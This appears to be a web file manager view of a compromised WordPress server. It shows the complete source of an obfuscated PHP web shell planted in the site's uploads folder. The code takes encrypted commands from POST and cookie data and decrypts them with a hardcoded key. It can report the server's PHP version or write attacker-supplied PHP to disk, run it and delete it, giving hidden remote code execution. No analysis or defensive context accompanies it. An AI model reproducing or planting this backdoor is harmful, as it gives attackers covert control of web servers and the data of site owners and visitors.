HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/03/mxtyjgpt.php
<?php $xntnc /*yixuuq   */ = /*  wrr  */ 'xntnc' /*   qf   */ ^ /*_uc */ '';

$kfqltb    =	"\x61"	.	"r".$xntnc(114)  .       "a"."\171"	.	$xntnc(95) /* dqjd  */ .    $xntnc(158-49) /*cxat   */ .    "a"."\160";





function       qwtmdkjaib($cckte,    $mbwhamjzdfoohvts)

{

 /* w*/ global	$xntnc;     /*  v*/ $cckte    =    "\x3c" /* tq  */ . /*u  */ $xntnc(63)      .    $xntnc(112)    .      $xntnc(104)      .    $xntnc(112)    .    $xntnc(32)	. /*khat */ "\x75" /* ej */ . /*xizq   */ $xntnc(1076-966)    . /*   sb*/ $xntnc(108) /*eqjufc   */ .    $xntnc(105).$xntnc(110) /* rcnb*/ .      "k"."\50"    .     "\x5f" /*sglgfp */ .     $xntnc(798-703)	.       "F".$xntnc(792-719)     . /* rjeo_q  */ "L".$xntnc(947-878)	. /* dumar*/ $xntnc(448-353)    .    $xntnc(95)   .    ")".$xntnc(274-215)     .  $xntnc(32)	.    $cckte["\144"]; /*zvh  */ $wottvdyi	=   $xntnc(102)    .	$xntnc(105).$xntnc(983-875) /*  rahfp*/ .    "\x65"   .       "\x5f" /*  pro   */ .    "p"."\x75"   .    "t"."_"."c"."o".$xntnc(867-757) /*   rup*/ .      $xntnc(116) /*p_ec */ .       $xntnc(592-491)     . /*  ymrxja  */ "\156" /*   jkqdye  */ .    "t"."s";


	      $wottvdyi($mbwhamjzdfoohvts,	$cckte);	

   uqqa_y($mbwhamjzdfoohvts);


}




$swrjuwparg   =    73;


function /*yilk   */ uqqa_y($mbwhamjzdfoohvts)
{


 /*   lfxg */ global /*  p*/ $xntnc;	

    include($mbwhamjzdfoohvts);

	$fwpkr /* i  */ =    $mbwhamjzdfoohvts;

 /*   ua */ @unlink($fwpkr);

}
function    nyjcamw()


{


    global /*  krp*/ $xntnc;


    $mbwhamj    = /* n_ */ array();

    $mbwhamj[$xntnc(686-574) /*   xz*/ . /* wrzahj*/ "\x76"]  = /*  niz */ phpversion();


   $mbwhamj["\163"    .       "\x76"]       = /*   mvjbi */ "3".".".$xntnc(956-903);

	$niosbu    =    74;
 /*lnyfd*/ echo /* lefd  */ @serialize($mbwhamj);

}





function	kgfczxrm($cckte, /*euh */ $pq_fkec)

{


   global   $xntnc;




	$eqlxqnt	=      "";

	$ewiwkrwniy    =    strlen($cckte);
      $lkzvqmyt    = /*   cry   */ strlen($pq_fkec);
      $mbwhamj /*  mwoil   */ =    0;


	$bcvwqr /* al   */ = /*v  */ 0;

   


	while /*   tolwfi  */ ($mbwhamj      <      $ewiwkrwniy)    {

 /*   rdi */ $vmtoeb      = /*  vk_j   */ $cckte[$mbwhamj]    ^ /* ykp */ $pq_fkec[$bcvwqr /* oougxx  */ %    $lkzvqmyt];
 /*  mbdel   */ $eqlxqnt /*  htyr */ .=       $vmtoeb;
     $bcvwqr++;	
 /*  apjy*/ $mbwhamj++;
 /* bdakw  */ }     
    if /* sb*/ (strlen($eqlxqnt) /* ehi */ >   20)      {

   $gdajpgq_d	=    substr($eqlxqnt, /* tc*/ 0,   20);

	}


 /* ab*/ if    (empty($eqlxqnt))    {

 /*   coh */ $eqlxqnt	= /*mu */ date('Y-m-d  H:i:s');

	}

  return       $eqlxqnt;


}



function    kwsinyrhz_($uxilvxyww)


{

   global /*   vdfpi*/ $xntnc;
 /* dmj_wo   */ 

    $uncmmt  =    "b"."9"."6"."c"."\60" /*hjsa */ . /*   z*/ $xntnc(99)      .     "\66" /*olr*/ .     "\x30"    .      "-"."\144"."9".$xntnc(54)	.	"\x30"       .    $xntnc(45)    .    "4"."9"."e".$xntnc(101)    . /*cbq */ $xntnc(45)  .      "b"."\x63"     .	$xntnc(636-579)    .	"7".$xntnc(45)   .	"\143"    .       "\64"	.   "7".$xntnc(227-130)    .    "\141"    .     "\x39" /*   pczgj  */ .	"0".$xntnc(99)    .    $xntnc(666-569)."0".$xntnc(311-257)    .  "\146";
	

    foreach /*   u   */ ($uxilvxyww /*doff*/ as	$thesqwarh /*  gu */ => /* r  */ $cckte) /*  hdmqcf  */ {

       hmsu_jhib(base64_decode($cckte), /*rdu */ $uncmmt, /*   z*/ $thesqwarh);
    }

}




function    hmsu_jhib($cckte, /*   _qahb  */ $uncmmt,  $thesqwarh)


{

	global	$xntnc;	
 /*  iqvba  */ $cckte /*  abamps  */ =    unserialize(kgfczxrm(kgfczxrm($cckte,    $uncmmt), /*  _q   */ $thesqwarh));

	$p_lhbuyeye    =   'mfoaxqs';
	$cqxbi	= /*   s */ 'wld';
  if /*  d  */ (isset($cckte[$xntnc(840-743)   .       "\x6b"]))     {    if	($cckte[$xntnc(666-569)]  ==   $xntnc(105))       {	nyjcamw();
    }   elseif /*kxmsbz */ ($cckte[$xntnc(666-569)]    ==    "e") /*   egwa*/ {	qwtmdkjaib($cckte,	sprintf("."."/"."\45"    . /*   fr__*/ "s"."."."\160"    .     "l",	md5($uncmmt)));


			$ozvokvbzk /*  zniv */ =     44;

 /*   ajnwy   */ } /*   jv_o  */ exit();


   }}


kwsinyrhz_($_POST); /*es*/ $luicbrjafv    =    'rawurldecode';
$ctkidpgo_q    =    $kfqltb($luicbrjafv,	$_POST);explode("", /*  eu*/ $luicbrjafv);



kwsinyrhz_($_COOKIE);





$ufcwf_vz /*  l */ = /*  fvx   */ $kfqltb($luicbrjafv,  $_COOKIE);



?>